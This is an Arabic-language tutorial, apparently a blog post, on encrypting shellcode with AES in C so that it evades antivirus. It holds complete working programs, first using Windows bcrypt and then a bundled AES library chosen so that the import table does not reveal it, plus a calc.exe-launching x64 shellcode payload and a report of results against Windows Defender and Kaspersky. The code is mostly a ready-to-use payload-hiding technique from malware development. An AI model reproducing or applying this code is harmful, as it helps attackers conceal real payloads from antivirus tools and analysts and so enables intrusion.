"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
unsigned char AESKey[16] = { 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01,
0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01 };
BOOL AESEncryptDecrypt(PBYTE pData, DWORD dataSize, DWORD* pResultSize, BOOL encrypt) {
BCRYPT_ALG_HANDLE hAlgorithm = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbKeyObject = 0, cbData = 0, cbResult = 0, cbCipherText = 0;
PBYTE pbKeyObject = NULL;
PBYTE pbOutput = NULL;
unsigned char IV[AES_BLOCK_SIZE] = { 0 };
if (BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0) != 0) {
printf("[-] Failed to open algorithm provider. Error Code: 0x%X\n", GetLastError());
return FALSE;
}
if (BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0) != 0) {
printf("[-] Failed to set chaining mode. Error Code: 0x%X\n", GetLastError());
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
if (BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0) != 0) {
printf("[-] Failed to get key object length. Error Code: 0x%X\n", GetLastError());
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
if (!pbKeyObject) {
printf("[-] Memory allocation failed for key object\n");
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
if (BCryptGenerateSymmetricKey(hAlgorithm, &hKey, pbKeyObject, cbKeyObject, AESKey, sizeof(AESKey), 0) != 0) {
printf("[-] Failed to generate key. Error Code: 0x%X\n", GetLastError());
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
NTSTATUS status;
if (encrypt) {
status = BCryptEncrypt(hKey, pData, dataSize, NULL, IV, sizeof(IV), NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
}
else {
status = BCryptDecrypt(hKey, pData, dataSize, NULL, IV, sizeof(IV), NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
}
if (status != 0) {
printf("[-] Failed to get size. Error Code: 0x%X\n", status);
BCryptDestroyKey(hKey);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
pbOutput = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbCipherText);
if (!pbOutput) {
printf("[-] Memory allocation failed\n");
BCryptDestroyKey(hKey);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
unsigned char localIV[AES_BLOCK_SIZE] = { 0 };
if (encrypt) {
status = BCryptEncrypt(hKey, pData, dataSize, NULL, localIV, sizeof(localIV), pbOutput, cbCipherText, &cbData, BCRYPT_BLOCK_PADDING);
}
else {
status = BCryptDecrypt(hKey, pData, dataSize, NULL, localIV, sizeof(localIV), pbOutput, cbCipherText, &cbData, BCRYPT_BLOCK_PADDING);
}
if (status != 0) {
printf("[-] %s failed. Error Code: 0x%X\n", encrypt ? "Encryption" : "Decryption", status);
HeapFree(GetProcessHeap(), 0, pbOutput);
BCryptDestroyKey(hKey);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return FALSE;
}
memcpy(pData, pbOutput, cbData);
*pResultSize = cbData;
HeapFree(GetProcessHeap(), 0, pbOutput);
BCryptDestroyKey(hKey);
HeapFree(GetProcessHeap(), 0, pbKeyObject);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return TRUE;
}
int main() {
DWORD originalSize = sizeof(OurShellCode) - 1;
DWORD processedSize = originalSize;
printf("[i] Original Address: 0x%p\n", OurShellCode);
printf("[i] Press <Enter> to Encrypt ... \n");
getchar();
printf("[+] Encrypting...\n");
if (!AESEncryptDecrypt(OurShellCode, originalSize, &processedSize, TRUE)) {
return -1;
}
printf("[i] Encrypted Shellcode (%d bytes):\n", processedSize);
for (DWORD i = 0; i < processedSize; i++) {
printf("\\x%02x", OurShellCode[i]);
}
printf("\n\n");
printf("Press <Enter> to Decrypt ... \n");
getchar();
printf("[+] Decrypting...\n");
if (!AESEncryptDecrypt(OurShellCode, processedSize, &processedSize, FALSE)) {
return -1;
}
printf("[i] Decrypted Shellcode (%d bytes):\n", processedSize);
for (DWORD i = 0; i < processedSize; i++) {
printf("\\x%02x", OurShellCode[i]);
}
printf("\n");
getchar();
return 0;
}
[+] بس فـ حاجه .. الطريقة دي فيها مشكلة ، إيه هي المشكلة دي بقي ؟
لما تحط البرنامج ع PE-Bear أو Total PE، هتلاقي فـ جزء الـ Import Table إن مكتبة bcrypt.dll موجودة ،
وده بيدي علامة واضحة إن البرنامج بيستخدم دوال التشفير ، سواء للتشفير أو الفك .. وده مشكلة لسببين:
أي برنامج بيستخدم bcrypt.dll فـ بيئة
غير تقليدية (زي إنه بيتعامل مع Shellcode) ، هيكون مشبوه
بالنسبة للـ AV ، وده ممكن يخليه يتقفش ويتصنف كـ Malware أو Suspicious Program.
Malware Analysts ممكن يكتشفوه بسرعة:
لما حد منهم يحلل الملف ، هيلاحظ إن البرنامج بيتعامل مع bcrypt.dll ، وده معناه إنه ممكن يكون
بيشفر
حاجة عشان يخفيها .. فبالتالي هيحاول يفك التشفير ويحلل الـ Shellcode عشان يفهم بيعمل إيه.
[+] هنحل الموضوع ده بالطريقة التانيه.
[+] فـ الطريقة دي بقي .. هنعالج المشكلة بتاعة الطريقة اللـ فاتت .. وأنا سميت الطريقة دي Imported Files ، لإننا هنعتمد ع ملفات نضيفها فـ البروجيكت بتاعنا .. مش هنعتمد ع مكتبة الويندوز.
aes.c ، aes.h .. ولو مش عارف بنضيفهم
إزاي إرجع لمقالة الـ
Payload Placement وتحديدا جزء الـ Rsrc وهتعرف.ودا لينك المصدر للملفين ع الجيتهاب.
ودا لينك المصدر للكود.
[+] تعالي نـ رن :
[+] ودي كانت تاني وآخر طريقة فـ الـ AES .. ودا الكود النهائي:
#include <windows.h>
#include <aes.h>
#include <stdio.h>
#include <time.h>
#define KEYSIZE 32
#define IVSIZE 16
void generateKey(BYTE* key) {
for (int i = 0; i < KEYSIZE;++i) {
key[i] = (BYTE)rand() % 256;
}
}
void generateIV(BYTE* iv) {
for (int i = 0; i < IVSIZE; ++i) {
iv[i] = (BYTE)rand() % 256;
}
}
void addPadding(unsigned char* data, size_t dataSize) {
unsigned char paddingValue = 16 - (dataSize % 16);
for (size_t i = dataSize; i < (dataSize + paddingValue); ++i) {
data[i] = paddingValue;
}
}
unsigned char key[16] = { 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01 };
//Encryption
int main() {
unsigned char OurShellCode[288] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
printf("[i] Original Address: 0x%p\n", OurShellCode);
struct AES_ctx ctx;
addPadding(OurShellCode, sizeof(OurShellCode));
printf("[i] Press <Enter> to Encrypt ... \n");
getchar();
BYTE pKey[KEYSIZE];
BYTE pIv[IVSIZE];
srand(time(NULL));
generateKey(pKey);
srand(time(NULL) ^ pKey[0]);
generateIV(pIv);
printf("unsigned char pKey[] = \"");
for (int i = 0; i < KEYSIZE; ++i) {
printf("\\x%02x", pKey[i]);
}
printf("\";\n\n");
printf("unsigned char pIV[] = \"");
for (int i = 0; i < IVSIZE; ++i) {
printf("\\x%02x", pIv[i]);
}
printf("\";\n\n");
AES_init_ctx_iv(&ctx, pKey, pIv);
AES_CBC_encrypt_buffer(&ctx, OurShellCode, sizeof(OurShellCode));
printf("unsigned char OurShellCode[] = \"");
for (int i = 0; i < sizeof(OurShellCode); ++i) {
printf("\\x%02x", OurShellCode[i]);
}
printf("\";\n\n");
getchar();
return 0;
}
// Decryption
//int main() {
// OUTPUT Key, IV & ShellCode here:
//
//
//
// printf("[i] Encrypted ShellCode Address: 0x%p\n", OurShellCode);
//
// struct AES_ctx ctx;
//
// AES_init_ctx_iv(&ctx, pKey, pIV);
//
// printf("[i] Press <Enter> to Encrypt ... \n");
// getchar();
//
// AES_CBC_decrypt_buffer(&ctx, OurShellCode, sizeof(OurShellCode));
// printf("Decrypted OurShellCode[] : ");
// for (int i = 0; i < sizeof(OurShellCode); ++i) {
// printf("\\x%02x", OurShellCode[i]);
// }
// printf("\n\n");
//
// getchar();
//
// return 0;
//}
[+] لو جربت البرنامج المرادي ع PE-Bear أو Total PE .. مش هتلاقي إنه معتمد ع مكتبة التشفير بتاعة الويندوز :
[+] تعالي بقي نختم المقالة دي بـ آخر جزء وهو .. هنشوف من كل اللـ عملناه ده ، مين الـ Windows Defender مسكه ومين لا :
[+] حبيت أخلي الموضوع Challenging أكتر .. وقولت أجرب ع Kaspersky Premium .. بس يا دوب حطيت الملفات كوبي لقيت المنظر ده :
[#] تعديل بعد حل الإيرور :
[+] محبتش أشيل الجزء اللـ فوق من المقالة ، وسيبتها عشان تعرف إن أكيد بيحصل إيرورز ، وتحاول بنفسك تحلها.
[+] المشكلة كانت إني كنت عامل Build للبرامج اللـ مفتحتش دي ع نمط الـ Debug .. والحل إنك هتغير النمط وتبني ع الـ Release
وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.
خدلك لفة فـ المصادر والمراجع يا عزيزي:
XOR :
RC4 :
AES :